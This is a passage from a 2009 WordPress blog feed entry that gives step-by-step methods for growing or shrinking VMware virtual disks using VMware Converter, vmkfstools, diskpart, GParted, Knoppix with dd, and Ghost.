<li>Start Converter application, click the Import Machine button</li>
<li>Click Next at the Welcome screen and then Next again at the Source screen</li>
<li>Select ‘Physical Computer’ and click Next o Select “This Local Machine” and click Next</li>
<li>At the Source Data screen select your volumes and change “Maintain Size” to “Type Size in GB” and enter your new disk size and click Next</li>
<li>At the Destination screen click Next</li>
<li>Select “Import this machine to a Vmware ESX Server or VirtualCenter virtual machine” and click Next</li>
<li>At the Destination login screen, select your ESX/VC server and enter the login information and click Next</li>
<li>At the Virtual Machine Name and Folder screen enter a new name for your VM and select a folder and click Next</li>
<li>At the Host or Cluster screen select a host for your destination and click Next</li>
<li>At the Datastore screen, select a datastore and click Next</li>
<li>At the Networks screen, configure your NICs and click Next</li>
<li>At the Customization screen, click Next</li>
<li>Click Finish and the conversion will begin</li>
<li>Once the Conversion is complete, edit the new VM settings and remove any extra hardware that Converter adds (USB/serial/parallel ports, etc.)</li>
<li>Shutdown your original source VM and power on your new destination VM</li>
<li>Make sure everything is functioning properly on the new VM and you can delete the original VM</li>
</ol>
<h4>Method 3 &#8211; Using vmkfstools and another Windows virtual machine to extend a disk</h4>
<ol>
<li>Shutdown the virtual machine you want to resize</li>
<li>Log into the ESX Server console via Putty</li>
<li>Type ”vmkfstools -X /vmfs/volumes/&lt;volume name&gt;/&lt;VM directory name&gt;/&lt;virtual disk file name&gt;” ie. /vmfs/volumes/Storage1/my_vm.vmdk. New disk size can be specified in kilo, mega or gigabytes and will be the total size of the new disk. So if you want to increase a virtual disk from 20GB to 24GB you would specify either 24000m or 24g</li>
<li>Shutdown the second helper virtual machine</li>
<li>Edit the settings of the second VM and add the hard disk from the first VM</li>
<li>Power on the second VM and load the Disk Management snap-in and verify that the disk from the first VM has un-allocated space on it</li>
<li>Select Start, Run and enter diskpart.exe</li>
<li>The command ‘list volume’ will show you all volumes.</li>
<li>Select your volume based on the results of the list volume command, ie. ‘select volume 1′</li>
<li>Type the command ‘extend’ to extend the volume</li>
<li>Check the Disk Management snap-in again and the volume should be extended with a larger capacity</li>
<li>Shutdown the second VM and remove (not delete) the disk from it</li>
<li>Power on your first VM and the new space should be there and ready to use</li>
</ol>
<h4>Method 4 &#8211; Using vmkfstools and System Rescue CD to extend a disk</h4>
<ol>
<li>Download the <a href="http://linux.softpedia.com/get/System/Recovery/System-Rescue-CD-188.shtml">System Rescue ISO</a> and make it available so it can be mounted by the virtual machine’s CD-ROM</li>
<li>Shutdown the virtual machine you want to resize</li>
<li>Log into the ESX Server console via Putty</li>
<li>Type “vmkfstools -X /vmfs/volumes/&lt;volume name&gt;/&lt;VM directory name&gt;/&lt;virtual disk file name&gt;” ie. /vmfs/volumes/Storage1/my_vm.vmdk. New disk size can be specified in kilo, mega or gigabytes and will be the total size of the new disk. So if you want to increase a virtual disk from 20GB to 24GB you would specify either 24000m or 24g</li>
<li>Power on the Virtual Machine and make sure it boots properly, load Disk Management and you will see the new unallocated space</li>
<li>Now to join the unallocated space to the primary partition, first shutdown the Virtual Machine</li>
<li>Connect the Virtual Machine to the System Rescue ISO file and make sure you enable Connected at Power On</li>
<li>Power on the Virtual Machine</li>
<li>Press ESC at the Bios screen to get to the Boot Menu</li>
<li>Select CD-ROM as the Boot device</li>
<li>Press Enter at the boot screen</li>
<li>Press Enter after boot sequence is complete and then type ‘startx’</li>
<li>Once X-windows loads, double-click the GpartEd icon (drive icon, 3rd down on the right hand side)</li>
<li>Once the partition editor loads, click on /dev/sda1 in the partition list</li>
<li>Click the Resize/Move button</li>
<li>Click and drag the arrow to extend the size of the partition, make sure you do a resize (double arrow) and not a move (four way arrow) so you should 0 free space preceding and following and then click the Resize/Move button</li>
<li>Next click the Apply button and then the operation will start, you can expand Details to see the progress, once completed click the Close button</li>
<li>Click the power button in the bottom right corner, then select reboot</li>
<li>Edit the VM and remove the ISO from the CD/ROM device (change to Client)</li>
<li>When the server restarts it will do a Check Disk, let this complete, Windows will prompt for a reboot after you login</li>
<li>Reboot and load Disk Management and your Primary Partion will be the new size without any unallocated space</li>
</ol>
<h4>Method 5 &#8211; Using Knoppix Live CD with QtPartEd to shrink a disk</h4>
<ol>
<li>Download the <a href="http://www.knoppix.org/">Knoppix Live CD ISO</a> and make it available so it can be mounted by the virtual machine’s CD-ROM</li>
<li>Shutdown the virtual machine you want to resize</li>
<li>Add a second virtual disk of the new smaller desired size to the VM you want to resize</li>
<li>Connect the Virtual Machine to the Knoppix Live CD ISO file and make sure you enable Connected at Power On</li>
<li>Power on the Virtual Machine</li>
<li>Press ESC at the Bios screen to get to the Boot Menu</li>
<li>Select CD-ROM as the Boot device</li>
<li>Press Enter at the boot screen</li>
<li>Click on the K Menu icon and then select System and then QTPartEd</li>
<li>Select your original drive (usually sda) and click on the partition 1</li>
<li>Select Operations from the top menu and then Resize, resize the drive so it is just less then the new drives (sdb) capacity</li>
<li>Select File from the top menu and then Commit, click Yes at the warning window</li>
<li>Once complete, select Cancel if you get a unmounted hard disk window and then OK at the Progress window</li>
<li>Open a Konsole window and type “dd if=/dev/sda of=/dev/sdb” This copy will take a long time and will not show a status while it is running. Yyou will get an insufficient space error at the end of the copy, this is normal because the drive you’re copying from is bigger then the destination. But as long as the partition is smaller, everything will work</li>
<li>Shutdown the VM and edit the VM settings, remove the original C: drive and change the SCSI ID of the new drive to match the old one (usually 0:0)</li>
<li>Power on the VM and it will run a Chkdsk and you will be all set</li>
</ol>
<h4>Method 6 &#8211; Use Ghost or another 3rd party imaging product to shrink a disk</h4>
<ol>
<li>Shutdown the virtual machine you want to resize</li>
<li>Add a second virtual disk of the new smaller desired size to the VM you want to resize o Use Ghost to clone the first disks partition to your second virtual disk</li>
<li>Once complete make sure the second virtual disk is ‘Active’</li>
<li>Switch your disks by editing the virtual machine settings and switching the SCSI id’s (0:0 and 0:1)</li>
<li>If the virtual machine boots OK and you verify that everything works then shutdown the VM and remove the larger disk and delete it</li>
</ol>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/andreabeni.wordpress.com/99/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/andreabeni.wordpress.com/99/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/andreabeni.wordpress.com/99/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/andreabeni.wordpress.com/99/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/andreabeni.wordpress.com/99/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/andreabeni.wordpress.com/99/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/andreabeni.wordpress.com/99/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/andreabeni.wordpress.com/99/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/andreabeni.wordpress.com/99/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/andreabeni.wordpress.com/99/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/andreabeni.wordpress.com/99/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/andreabeni.wordpress.com/99/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/andreabeni.wordpress.com/99/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/andreabeni.wordpress.com/99/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=99&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://andreabeni.wordpress.com/2009/10/22/re-sizing-virtual-disks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/ceff7eff13ca22949e9621217207831c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">andreabeni</media:title>
		</media:content>
	</item>
	</channel>
</rss>
